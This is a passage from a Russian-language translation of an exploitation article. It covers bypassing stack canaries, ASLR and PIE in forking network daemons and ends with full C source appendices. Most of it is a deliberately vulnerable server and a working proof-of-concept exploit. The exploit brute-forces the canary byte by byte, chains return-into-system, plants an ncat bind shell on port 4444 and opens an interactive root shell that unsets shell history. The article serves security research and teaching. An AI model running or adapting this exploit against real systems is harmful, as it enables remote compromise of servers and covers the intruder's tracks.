*(buf_addr++) = addr_callvuln;  // <-- болванка
*(buf_addr++) = addr_callvuln;  // <-- ret-into-callvuln!

Заметка: Перезапись следующих 4 байтов (args) с помощью addr_callvuln также возможна. В зависимости от ситуации (есть у нас бинарник или нет), это можно рассматривать как вариант для облегчения тупого подбора.

Returning-into-system

Сейчас нам нужно захватить shell. Зная теперь адрес загрузки, единственное, что нужно сделать - это вызвать функцию, которая предоставит нам оболочку shell. Опять-таки, все очень зависит от демона, который вам нужно взломать, но в данном случае, я эксплуатировал вызов system(). Действительно, в коде вы можете найти:

  c8d:       e8 d6 fb ff ff          call   868 <system@plt>

   ^-------------------------------  крутое смещение

Можно возразить, что также есть системный параметр для поиска, но “args” в стэке и он указывает на контролируемый пользователем буфер. Что означает, что мы можем выполнить return-into-callsystem(args).

Заметка: В данном случае нам повезло (это было сделано ненарочно!), но также может возникнуть следующая ситуация:

int vuln_func(int fd, char *args, int ile);

В этом случае, схема может быть такой…

  [   ....  ]
  [ old_ebp ]
  [ old_eip ]
  [   fd    ]
  [   args  ]
  [   ile   ]
  [   ....  ]

Это не сделает нам разницы, т.к. мы можем заюзать return-into-ret и перезаписать fd на callsystem. Другим решением будет вывод адреса входа в system() в PLT и ее вызов, когда ее первым аргументом будет “args” (классический return-into-func).

Заметка: В реальной ситуации может случиться, что в нашем распоряжении нет адреса стэка. И тогда у нас 2 решения:

  • Находим адрес тупым перебором. Ламерство. Да. Но иногда у нас просто нет выбора (когда переполнение ограничено, и это ограничивает наши возможности в исполнении цепочных return-into-*.
  • Создаем новый стэковый кадр где-нибудь в секции .data. Зная адрес загрузки ELF-объекта, это довольно просто определить место секции .data. Таким макаром мы можем создать целый фэйковый кадр стэка используя цепочный return-into-read(fd, &newstack_in_data, len), и, наконец, переключим стэк с помощью последовательности leave-ret. Весело и круто на все 100%.

Это все? Не совсем. Нам нужно убедиться, что мы можем достигнуть ‘ret’ прежде чем программа рухнет. Давайте посмотрим на эпилог функции:

objdump --no-show-raw-insn -Mintel -d ./s

 fb1:       call   8f8 <memcpy@plt>
 fb6:       lea    eax,[ebp-0x70]               ; а вот и переполнение
 fb9:       mov    DWORD PTR [esp+0x4],eax
 fbd:       lea    eax,[ebx-0x1bdf]
 fc3:       mov    DWORD PTR [esp],eax
 fc6:       call   10ca <stack_dump>
 fcb:       mov    DWORD PTR [esp+0x8],0x1e
 fd3:       lea    eax,[ebx-0x1bd8]
 fd9:       mov    DWORD PTR [esp+0x4],eax
 fdd:       mov    eax,DWORD PTR [ebp+0xc]      ; мы контролируем fd
 fe0:       mov    DWORD PTR [esp],eax
 fe3:       call   878 <write@plt>
 fe8:       mov    eax,0x1
 fed:       jmp    10b0 <vuln_func+0x1b1>

[...]

10b0:       mov    edx,DWORD PTR [ebp-0xc]
10b3:       xor    edx,DWORD PTR gs:0x14
10ba:       je     10c1 <vuln_func+0x1c2>
10bc:       call   1280 <__stack_chk_fail_local>
10c1:       add    esp,0x94
10c7:       pop    ebx                          ; интересно
10c8:       pop    ebp
10c9:       ret

Анализ на карандаше/бумаге довольно проста. Единственно испорченная локальная переменная - fd, используемая write(). Имеет ли значение? Нет. В худшем случае, функция write() вернет ошибку EBADF.

Что на счет регистра ebx? Собственно говоря, важно восстановить его значение, т.к. это все-таки PIE. Реально, ebx ипользуется как глобальный адрес:

00000868 <system@plt>:
868:   jmp    DWORD PTR [ebx+0x20]  ; ebx указывает на PLT 
                                   ; (.got.plt)
86e:   push   0x28
873:   jmp    808 <_init+0x30>

Это не весть какая проблема, т.к. адрес секции .got.plt вычисляется так: load_addr + смещение памяти (cf. readelf -S). Здесь представлен конечный кадр стэка:

*(buf_addr++) = 0x00000004;
*(buf_addr++) = (P_REL_GOT + (base_addr << 12));  // используется GOT.
*(buf_addr++) = 0x41414141;
*(buf_addr++) = system_addr;
                                  // <-- Здесь адрес буфера

Когда недоступен system()

В предыдущей ситуации нам несколько повезло. А вот когда system() не вызывается в программе, очевидно, что нету и инструкции “системного вызова” (и даже соответствующего входа в PLT). Но и это не является большой проблемой, т.к. функция return-into-write-like() всегда возможна. Вот иллюстрация:

*(buf_addr++) = 0x00000004;
*(buf_addr++) = (P_REL_GOT + (base_addr << 12));
*(buf_addr++) = 0x41414141;
*(buf_addr++) = write_addr;  // возврат в call_write(fd, buf, count)
*(buf_addr++) = 0x00000004;  // fd (файловый дескриптор)
*(buf_addr++) = some_addr;   // буфер
*(buf_addr++) = 0x00000005;  // счет (count)

Такой примитив поможет “утечке” всего, что только мы захотим. Он позволит исполнить return-into-dl-resolve() как показано в [10]. Реализация этой техники с эксплоитом PoC оставлена читателю как упражнение.

Завершенный алгоритм

Конечный алгоритм принимает следующий вид:

  1. Нахождение расстояния, необходимого для достижения канарейки-смерти
  2. Нахождение значения канарейки с помощью тупого перебора по методу ‘байт-за-байтом’
  3. Используя значение канарейки для “легализации” переполнений, нам следует начать поиски сегмента кода возвращаясь в функцию, из которой “утекает информация”
  4. Установление всего, что нужно с помощью адреса загрузки
  5. Создание новой цепочной атаки return-into-* и захват shell!

И это должно нам дать что-то вроде:

[root@pi3-test phrack]# gcc s.c -o s -fpie -pie -fstack-protector-all
[root@pi3-test phrack]# ./s
start

Launched into background (pid: 32145)

[root@pi3-test phrack]#
...
...
child 32106 terminated
sh: vuln: nie znaleziono polecenia


[pi3@pi3-test phrack]$ gcc moj.c -o moj
[pi3@pi3-test phrack]$ ./moj -v 127.0.0.1

        ...::: -=[ Bypassing pro-police PoC for server by Adam 'pi3
(pi3ki31ny)' Zabrocki ]=- :::...

        [+] Trying to find the position of the canary...
        [+] Found the canary! => offset = 101 (+11)
        [+] Trying to find the canary...
        [+] Found byte! => 0x8e
        [+] Found byte! => 0x17
        [+] Found byte! => 0xa4
        [+] Found byte! => 0xd7
        [+] Overwriting frame pointer (EBP?)...
        [+] Overwriting instruction pointer (EIP?)...
        [+] Starting bruteforce...
        [+] Success! :) (0x110eee0a)
                -> @call_write = 0x110eed6c
                -> @call_system = 0x110eeb9b
        [+] Trying ret-into-system...
        [+] Connecting to bindshell...

pi3 was here :-)
Executing shell...

uid=0(root) gid=0(root)
grupy=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel)
Linux pi3-test 2.6.32.13-grsec #1 SMP Thu May 13 17:07:21 CEST 2010 i686
i686 i386 GNU/Linuxexit;

Демо-эксплоит можно найти в приложении. Он был протестирован на многих системах, включая:

  • Linux (Fedora 10, Fedora 11, Fedora 12)
  • Linux with PaX patch (2.6.32.13-grsec)
  • OpenBSD (4.4, 4.5, 4.6)
  • FreeBSD (7.x)

– [ 6 - Заключение ]

Благодаря современным защитам, классические методы эксплуатации могут или не могут быть достаточны для удаленного переполнения стэка. Мы видели, что для демонов, использующих только fork(), для этой цели иногда достаточно нескольких условий.

—[ 7 - Ссылки ]

[1] http://phrack.org/issues.html?issue=56&id=5#article
[2] The Shellcoder’s Handbook - Chris Anley, John Heasman, Felix “FX” Linder, Gerardo Richarte
[4] http://marc.info?m=97288542204811
[5] http://pax.grsecurity.net
[6] http://www.trl.ibm.com/projects/security/ssp/
[7] http://gcc.gnu.org/gcc-4.1/changes.html
[8] http://xorl.wordpress.com/2010/10/14/linux-glibc-stack-canary-values/
[9] http://sota.gen.nz/hawkes_openbsd.pdf
[10] http://www.phrack.org/issues.html?issue=58&id=4
[11] http://seclists.org/bugtraq/1997/Aug/63
[12] http://phrack.org/issues.html?issue=59&id=9#article
[13] http://www.phrack.org/issues.html?issue=63&id=14

– [ 8 - Приложение - PoC ]

– [ 8.1 - Сервер (s.c) ]

/*
 * This is simple server which is vulnerable to stack overflow attack.
 * It was written for demonstration of the remote stack overflow attack in 
 * modern *NIX systems - bypass everything - ASLR, AAAS, ESP, SSP 
 * (ProPolice).
 *
 * Best regards,
 * Adam Zabrocki
 * --
 * pi3 (pi3ki31ny) - pi3 (at) itsec pl
 * http://pi3.com.pl
 *
 */

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <errno.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <signal.h>
#include <sys/wait.h>
#include <unistd.h>

#define PORT 666
#define PIDFILE "/var/run/vuln_server.pid"
#define err_sys(a) {printf("%s[%s]\n",a,strerror(errno));exit(-1);}
#define SA struct sockaddr

#define SRV_BANNER "Some server launched by root user\n"

int vuln_func(char *, int, int);
void stack_dump(char *, char *);
void sig_chld(int);

int main(void) 
{

    int status,dlugosc,port=PORT,connfd,listenfd,kupa;
    struct sockaddr_in serv,client;
    char buf[200];
    pid_t pid;
    FILE *logs;

    if ( (listenfd=socket(PF_INET, SOCK_STREAM, 0)) < 0)
        err_sys("Socket() error!\n");

    bzero(&serv,sizeof(serv));
    bzero(&client,sizeof(client));
    serv.sin_family = PF_INET;
    serv.sin_port = htons(port);
    serv.sin_addr.s_addr=htonl(INADDR_ANY);

    if ( (bind(listenfd,(SA*)&serv,sizeof(serv))) != 0 )
        err_sys("Bind() error!\n");

    if ((listen(listenfd,2049)) != 0)
        err_sys("Listen() error!\n");

    system("echo start");
    status=fork();
    if (status==-1) err_sys("[FATAL]: cannot fork!\n");
    if (status!=0) {
        logs=fopen(PIDFILE, "w");
        fprintf(logs,"pid = %u",status);
        printf("\nLaunched into background (pid: %d)\n\n", status);
        fclose(logs);
        logs=NULL;
        return 0;
    }

    status=0;
    signal (SIGCHLD,sig_chld);

    for (;;) {
        
        dlugosc = sizeof client;

        if((connfd=accept(listenfd,(SA*)&client,(socklen_t *)&dlugosc))< 0)
            err_sys("accept error !\n");

        if ( (pid=fork()) == 0) {

            if ( close(listenfd) !=0 )
                err_sys("close error !\n");

            write(connfd, SRV_BANNER, strlen(SRV_BANNER));

            for (;;) {
                bzero(buf,sizeof(buf));
                kupa = recv(connfd, buf, sizeof(buf), 0);
                if ( (vuln_func(buf,connfd, kupa)) != 1)
                    break;
            }
            
            close(connfd);
            exit(0);
        }
        else
            close(connfd);        
    }
}

int vuln_func(char *args, int fd, int ile) {

    char buf[100];
    memset(buf, 0, sizeof buf);

    if ( (strncmp(args,"vuln",4)) == 0) {
#ifdef __DEBUG
        stack_dump("BEFORE", buf);
#endif
        write(fd,"Vuln running...\nCopying bytes...",32);
        memcpy(buf,args+5,ile-5);
#ifdef __DEBUG
        stack_dump("AFTER", buf);
#endif
        write(fd,"\nDONE\nReturn to the main loop\n",30);
        return 1;
    }

    else if ( (strncmp(args,"quit",4)) == 0) {
        write(fd,"Exiting...\n",11);
        return 0;
    }

    else {
        write(fd,"help:\n",6);
        write(fd," [*] vuln <args>\n",17);
        write(fd," [*] help\n",10);
        write(fd," [*] quit\n",10);
        return 1;
    }
}

void stack_dump(char *header, char *buf)
{
    int i;
    unsigned int *p = (unsigned int *)buf;
    FILE *fp;

    fp=fopen("./dupa.txt","a");
    fprintf(fp,"%s\n",header);

    for (i=0;i<240;)
    {
        fprintf(fp,"%.8x: %.8x %.8x %.8x %.8x\n", (unsigned int)p, 
        *p, *(p+1), *(p+2), *(p+3));
        p += 4;
        i += sizeof(int) *4;
    }
    fprintf(fp,"\n");
    fclose(fp);
    return;
}

void sig_chld(int signo) 
{

    pid_t pid;
    int stat;

    while ( (pid = waitpid(-1, &stat, WNOHANG)) > 0)
        printf("child %d terminated\n",pid);
    return;
}

– [ 8.2 - Эксплоит (moj.c) ]

/*
 * This is Proof of Concept exploit which bypass everything (SSP 
 * [pro-police], ASLR, AAAS, ESP) and use modified ret-into-libc technique 
 * to execute shell.
 *
 * Article about modified ret-into-libc technique you can find on my web - 
 * it was published some years ago on bugtraq and now it is very useful :)
 *
 * Ps. Address of ret-to-call_system@plt that you should change is
 *     P_REL_CALLSYSTEM
 *     The same you be done with directive P_REL_CALLVULN and P_REL_GOT. 
 *     P_REL_CALLWRITE (info leak) is unused in this version of PoC.
 *     P_CMD holds the command which will be executed - you can change if 
 *     you want ;)
 *
 * Best regards,
 * Adam Zabrocki
 * --
 * pi3 (pi3ki31ny) - pi3 (at) itsec pl
 * http://pi3.com.pl
 *
 */

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <netdb.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <unistd.h>
#include <getopt.h>
#include <errno.h>

#define PORT 666
#define BUFS 250
#define START 90

#define P_REL_CALLVULN      0xe0a
#define P_REL_CALLWRITE     0xd6c
#define P_REL_CALLSYSTEM    0xb9b
#define P_REL_MASK          0x0FFF
#define P_REL_GOT           0x25a4 // 0x2644

#define SA struct sockaddr

/* Thic CMD variable is only for PoC. You should choose it individually */
//#define P_CMD "|| nc -l -p 4444 -e /bin/sh;"
#define P_CMD "|| ncat -l -p 4444 -e /bin/sh;"

int shell(int);

int usage(char *arg) 
{
    printf("\n\t...::: -=[ Bypassing pro-police for PoC server by Adam "
           "'pi3 (pi3ki31ny)' Zabrocki ]=- :::...\n");
    printf("\n\tUsage:\n\t[+] %s [options]\n",arg);
    printf("         -? <this help screen>\n");
    printf("         -b <local_buff_brute_force_start_address>\n");
    printf("         -p port\n");
    printf("         -v <victim>\n\n");
    exit(-1);
}

int main(int argc, char *argv[]) 
{
unsigned int brute = 0;

    int ret, *buf_addr, global_cnt = 0;
    char *buf,read_buf[4096],cannary[0x4] = { 0x0, 0x0, 0x0, 0x0 };
    struct sockaddr_in servaddr;
    struct hostent *h;
    int elo, port=PORT, opt, sockfd, test=0, offset=0, test2 = 0;
    int helper = 0, position_found = 0;
    int write_addr = 0, system_addr = 0;

    struct timeval tv;

    while((opt = getopt(argc,argv,"p:b:v:?")) != -1) {
        switch(opt) {
            case 'b':
                sscanf(optarg,"%x",&brute);
                break;

            case 'p':
                port=atoi(optarg);
                break;

            case 'v':
                test=1;
                if ( (h=gethostbyname(optarg)) == NULL) {
                    printf("gethostbyname() failed!\n");
                    exit(-1);
                }
                break;

            case '?':
            default:
                usage(argv[0]);
            }
    }

    if (test==0)
        usage(argv[0]);

    servaddr.sin_family = AF_INET;
    servaddr.sin_port = htons(port);
    servaddr.sin_addr.s_addr = htonl(INADDR_ANY);
    servaddr.sin_addr = *(struct in_addr*)*h->h_addr_list;

    if (!(buf=(char*)malloc(BUFS))) {
        exit(-1);
    }

    setbuf(stdout,NULL);
    printf("\n\t...::: -=[ Bypassing pro-police PoC for server by Adam "
           "'pi3 (pi3ki31ny)' Zabrocki ]=- :::...\n");
    printf("\n\t[+] Trying to find the position of the canary...\n");


    for (position_found=0;!position_found;global_cnt++) {

        memset(buf,0x0,BUFS);
        strcpy(buf,"vuln ");

        memset(&buf[5], 0x41, START+global_cnt);

        if ( (sockfd=socket(AF_INET,SOCK_STREAM,0)) < 0) {
            printf("Socket() error!\n");
            exit(-1);
        }

        if ( (connect(sockfd,(SA*)&servaddr,sizeof(servaddr))) < 0) {
            printf("Connect() error!\n");
            exit(-1);
        }
/*
        // You can optimize waiting via timeout
        tv.tv_sec=0,tv.tv_usec=40000;
        if ( (setsockopt(sockfd,SOL_SOCKET,SO_RCVTIMEO,&tv,sizeof(tv))) 
           != 0) {
            printf("setsockopt() error!\n");
            exit(-1);
        }
*/
        bzero(read_buf,sizeof(read_buf));
        read(sockfd,read_buf,sizeof(read_buf));

        write(sockfd,buf,strlen(buf));

        bzero(read_buf,sizeof(read_buf));
        read(sockfd,read_buf,32);
        bzero(read_buf,sizeof(read_buf));
        read(sockfd,read_buf,30);

        write(sockfd,"quit",4);

        bzero(read_buf,sizeof(read_buf));
        ret = read(sockfd,read_buf,sizeof(read_buf));

        if(ret <= 0) {
            printf("\t[+] Found the canary! => offset = %d (+%d)\n",
                    START+global_cnt,global_cnt);
            position_found = 1;
        }
        close(sockfd);
    }

    printf("\t[+] Trying to find the canary...\n");

    global_cnt--;
    for (elo=0;elo<4;elo++) {
        for (opt=0; opt<256; opt++) {



            memset(buf,0x0,BUFS);
            strcpy(buf,"vuln ");

            memset(&buf[5], 0x41, START+global_cnt);
            memcpy(&buf[5+START+global_cnt-1], cannary, elo);
            buf[5+START+global_cnt-1+elo]=opt;

            if ( (sockfd=socket(AF_INET,SOCK_STREAM,0)) < 0) {
                printf("socket() error!\n");
                exit(-1);
            }

            if ( (connect(sockfd,(SA*)&servaddr,sizeof(servaddr)) ) < 0) {
                printf("connect() error!\n");
                exit(-1);
            }
/*
            // You can optimize waiting via timeout
            tv.tv_sec=0,tv.tv_usec=40000;
            if ( (setsockopt(sockfd,SOL_SOCKET,SO_RCVTIMEO,&tv,sizeof(tv)))
               != 0) {
                printf("setsockopt() error!\n");
                exit(-1);
            }
*/
            bzero(read_buf,sizeof(read_buf));
            read(sockfd,read_buf,sizeof(read_buf));
            do {
                unsigned int an_egg = START+global_cnt+5+elo;
                write(sockfd,buf,an_egg);
            } while(0);

            bzero(read_buf,sizeof(read_buf));
            read(sockfd,read_buf,32);
            bzero(read_buf,sizeof(read_buf));
            read(sockfd,read_buf,30);

            write(sockfd,"quit",4);

            bzero(read_buf,sizeof(read_buf));
            ret = read(sockfd,read_buf,sizeof(read_buf));

            if (ret > 0) {
                printf("\t[+] Found byte! => 0x%02x\n",opt);
                cannary[elo] = opt;
                close(sockfd);
                break;
            }
            /* If we miss somehow the byte... */
            if (opt == 255)
               opt = 0x0;
            close(sockfd);
        }
    }

    printf("\t[+] Overwriting frame pointer (EBP?)...\n");
    printf("\t[+] Overwriting instruction pointer (EIP?)...\n");
    printf("\t[+] Starting bruteforce...\n");

    for (offset=0,test2=0x0,opt=0;test&&!offset;test2++,opt++) {
        memset(buf,0,BUFS);
        strcpy(buf,"vuln ");

        memset(&buf[5], 0x41, START+global_cnt);
        memcpy(&buf[5+START+global_cnt-1], cannary, elo);

        buf_addr=(int*)&buf[5+START+global_cnt-1+elo];
        helper = (P_REL_CALLVULN & P_REL_MASK) | (test2 << 12);

        *(buf_addr++) = 0xdeadbabe;
        *(buf_addr++) = (P_REL_GOT + (test2 << 12));  // used by the GOT.
        *(buf_addr++) = helper;

        if ( (sockfd=socket(AF_INET,SOCK_STREAM,0)) < 0) {
            printf("socket() error!\n");
            exit(-1);
        }

        if ( (connect(sockfd,(SA*)&servaddr,sizeof(servaddr))) < 0) {
            printf("connect() error!\n");
            exit(-1);
        }
/*
        // You can optimize waiting via timeout
        tv.tv_sec=0,tv.tv_usec=40000;
        if ( (setsockopt(sockfd,SOL_SOCKET,SO_RCVTIMEO,&tv,sizeof(tv))) 
           != 0) {
            printf("setsockopt() error!\n");
            exit(-1);
        }
*/
        bzero(read_buf,sizeof(read_buf));
        read(sockfd,read_buf,sizeof(read_buf));

        write(sockfd,buf,5+START+global_cnt-1+elo+(4-1)*4);

        bzero(read_buf,sizeof(read_buf));
        read(sockfd,read_buf,32);

        bzero(read_buf,sizeof(read_buf));
        read(sockfd,read_buf,30);

        write(sockfd,"quit",4);

        bzero(read_buf,sizeof(read_buf));
        ret = read(sockfd,read_buf,sizeof(read_buf));

        if(ret > 0) {

            /* At that point we successfully called vuln_func()
               which means that we "probably" returned in [I1]

     e67:       8b 44 24 1c             mov    0x1c(%esp),%eax
     e6b:       89 44 24 08             mov    %eax,0x8(%esp)
     e6f:       8b 44 24 24             mov    0x24(%esp),%eax
     e73:       89 44 24 04             mov    %eax,0x4(%esp)
     e77:       8d 44 24 34             lea    0x34(%esp),%eax
     e7b:       89 04 24                mov    %eax,(%esp)
     e7e:       e8 3e 00 00 00          call   ec1 <vuln_func>   [I1]
            */

            write_addr = (P_REL_CALLWRITE & P_REL_MASK) | (test2 << 12);
            system_addr = (P_REL_CALLSYSTEM & P_REL_MASK) | (test2 << 12);
            printf("\t[+] Success! :) (0x%.8x)\n",helper);
            printf("\t\t-> @call_write = 0x%.8x\n",write_addr);
            printf("\t\t-> @call_system = 0x%.8x\n",system_addr);
            offset=1;
        }
        close(sockfd);
    }

    if (!offset) {
        printf("\t[-] Exploit Failed! :(\n\n");
        exit(-1);
    }

    printf("\t[+] Trying ret-into-system...\n");

    memset(buf,0x0,BUFS);
    strcpy(buf,"vuln ");

    memset(&buf[5], 0x41, START+global_cnt);
    memcpy(&buf[5], P_CMD, strlen(P_CMD));

    memcpy(&buf[5+START+global_cnt-1], cannary, elo);

    buf_addr=(int*)&buf[5+START+global_cnt-1+elo];
    test2--;

    *(buf_addr++) = 0xdeadbabe;
    *(buf_addr++) = (P_REL_GOT + (test2 << 12));  // used by the GOT.
    *(buf_addr++) = 0x41414141;
    *(buf_addr++) = system_addr;

    if ( (sockfd=socket(AF_INET,SOCK_STREAM,0)) < 0) {
        printf("Socket() error!\n");
        exit(-1);
    }

    if ( (connect(sockfd,(SA*)&servaddr,sizeof(servaddr))) < 0) {
        printf("Connect() error!\n");
        exit(-1);
    }
/*
    // You can optimize waiting via timeout
    tv.tv_sec=0,tv.tv_usec=40000;
    if ( (setsockopt(sockfd,SOL_SOCKET,SO_RCVTIMEO,&tv,sizeof(tv))) != 0) {
        printf("setsockopt() error!\n");
        exit(-1);
    }
*/
    bzero(read_buf,sizeof(read_buf));
    read(sockfd,read_buf,sizeof(read_buf));

    write(sockfd,buf,4+START+global_cnt+4+4*4);
 
    bzero(read_buf,sizeof(read_buf));
    ret = read(sockfd,read_buf,32);

    bzero(read_buf,sizeof(read_buf));
    ret = read(sockfd,read_buf,30);

    if(ret == 30) {
        printf("\t[+] Connecting to bindshell...\n\n");

        sleep(2);
        if ( (sockfd=socket(AF_INET,SOCK_STREAM,0)) < 0) {
            printf("Socket() error!\n");
            exit(-1);
        }
        servaddr.sin_port = htons(4444);

        if ( (connect(sockfd,(SA*)&servaddr,sizeof(servaddr)) ) <0 ) {
            printf("Connect() error!\n");
            exit(-1);
        }
        shell(sockfd);
    }

    return 0;
}

int shell(int fd)
{
    int rd ;
    fd_set rfds;
    static char buff[1024];
    char INIT_CMD[] = "echo \"pi3 was here :-)\"; "
    "echo \"Executing shell...\"; "
    "unset HISTFILE; echo; id; uname -a\n";

    write(fd, INIT_CMD, strlen( INIT_CMD ));

    while (1) {
        FD_ZERO(&rfds);
        FD_SET(0, &rfds);
        FD_SET(fd, &rfds);

        if (select(fd+1, &rfds, NULL, NULL, NULL) < 1) {
            perror("[-] Select");
            exit( EXIT_FAILURE );
        }

        if (FD_ISSET(0, &rfds)) {

            if ( (rd = read(0, buff, sizeof(buff))) < 1) {
               perror("[-] Read");
               exit(EXIT_FAILURE);
            }

            if (write(fd,buff,rd) != rd) {
               perror("[-] Write");
               exit( EXIT_FAILURE );
            }
        }

        if (FD_ISSET(fd, &rfds)) {
            if ( (rd = read(fd, buff, sizeof(buff))) < 1) {
               exit(EXIT_SUCCESS);
            }
            write(1, buff, rd);
        }
    }
}